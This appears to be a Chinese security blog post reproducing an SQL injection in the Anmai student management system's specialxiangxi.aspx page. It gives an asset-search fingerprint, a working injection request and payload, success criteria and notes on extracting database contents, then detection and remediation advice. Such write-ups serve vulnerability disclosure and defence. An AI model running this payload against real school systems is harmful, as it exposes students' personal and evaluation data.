安脉学生综合管理系统 specialxiangxi.aspx SQL注入漏洞复现

Wayyt  7小时前

安脉学生综合管理系统 specialxiangxi.aspx SQL注入漏洞复现

0x00 漏洞概述

安脉学生综合管理系统的 /teacher/mystudy/specialxiangxi.aspx 接口的 id 参数存在 SQL 注入漏洞。该接口在处理传入的 id 参数时未进行充分的输入过滤和参数化处理,攻击者可利用 SQL Server 的 hashbytes 函数构造报错注入,从数据库中提取敏感数据。

CVSS 评分 8.0,属高危级别。安脉学生综合管理系统由上海安脉计算机科技有限公司开发,在国内中小学教育信息化领域有一定部署量,该漏洞可能导致学生个人信息和综合素质评价数据泄露。

0x01 影响范围

受影响产品为安脉学生综合管理系统(上海安脉计算机科技有限公司开发)。设备特征可通过以下方式进行资产识别:

body="上海安脉计算机科技有限公司"

具体受影响版本信息未公开记录。建议运维人员核查系统是否部署该接口路径。

0x02 漏洞分析

安脉学生综合管理系统是一款面向学校的学生信息管理平台,涵盖学生档案、成绩管理、综合素质评价等功能。该系统的 specialxiangxi.aspx 页面位于教师模块下,接收 id 参数用于查询学生综合素质详细信息,但该参数直接拼接到 SQL 查询语句中,未采用参数化查询或输入验证。

攻击者可通过在 id 参数中插入 SQL Server 内置函数 sys.fn_varbintohexstr(hashbytes('MD5','1234')) 来验证注入是否生效。该函数将字符串 1234 的 MD5 哈希值转换为十六进制字符串形式 0x81dc9bdb52d04dc20036dbd8313ed055

注入采用单引号闭合方式,在 id 参数值后添加 ' 闭合原始查询,再拼接 and 1=sys.fn_varbintohexstr(...) 构造布尔条件,最后用 -- 注释符截断后续 SQL 语句。当注入触发时,服务端返回 HTTP 500 错误状态码,且错误页面中包含哈希值字符串,表明注入的 SQL 语句已被执行。

0x03 利用链与请求包

验证请求

向目标系统的 specialxiangxi.aspx 接口发送带有注入 payload 的 GET 请求:

GET /teacher/mystudy/specialxiangxi.aspx?id=1%27+and+1=sys.fn_varbintohexstr(hashbytes(%27MD5%27,%271234%27))-- HTTP/1.1
Host: 192.0.2.1

URL 解码后的完整 payload 为:

id=1' and 1=sys.fn_varbintohexstr(hashbytes('MD5','1234'))--

判定条件

若目标存在该漏洞,满足以下条件:

  • 返回 HTTP 500 状态码——表明注入触发了服务端错误
  • 响应体包含字符串 0x81dc9bdb52d04dc20036dbd8313ed055

该字符串为 1234 的 MD5 哈希值经过 fn_varbintohexstr 函数转换后的十六进制表示,出现在响应中表明注入的 SQL 语句已被执行且结果被输出到错误页面。

利用说明

确认注入成功后,攻击者可将 hashbytes('MD5','1234') 替换为目标数据查询语句。通过构造子查询或使用 CONVERT 函数,可提取数据库版本、用户名、表结构和数据内容。由于使用 -- 注释符截断了原始查询的后续部分,攻击者可自由拼接查询逻辑。

SQL Server 的报错注入是一种典型的数据外带技术,通过触发数据库错误并利用错误信息中的输出内容,将查询结果传递给攻击者。

0x04 检测与修复建议

检测方法

1. 通过资产特征定位安脉学生综合管理系统实例

2. 向 specialxiangxi.aspx 接口发送上述验证请求

3. 检查响应是否返回 500 状态码且包含 0x81dc9bdb52d04dc20036dbd8313ed055

修复建议

1. 对 id 参数实施严格的类型检查,仅允许数字类型值通过

2. 采用参数化查询或预编译语句替代字符串拼接方式构造 SQL 语句

3. 配置数据库最小权限原则,限制 Web 应用账户的敏感操作权限

4. 关闭自定义错误页面的详细错误信息输出,避免 SQL 执行结果泄露

5. 部署 Web 应用防火墙,拦截包含 SQL 关键字和函数名的请求

0x05 参考资料

无外部参考链接。

最新评论

昵称
邮箱
提交评论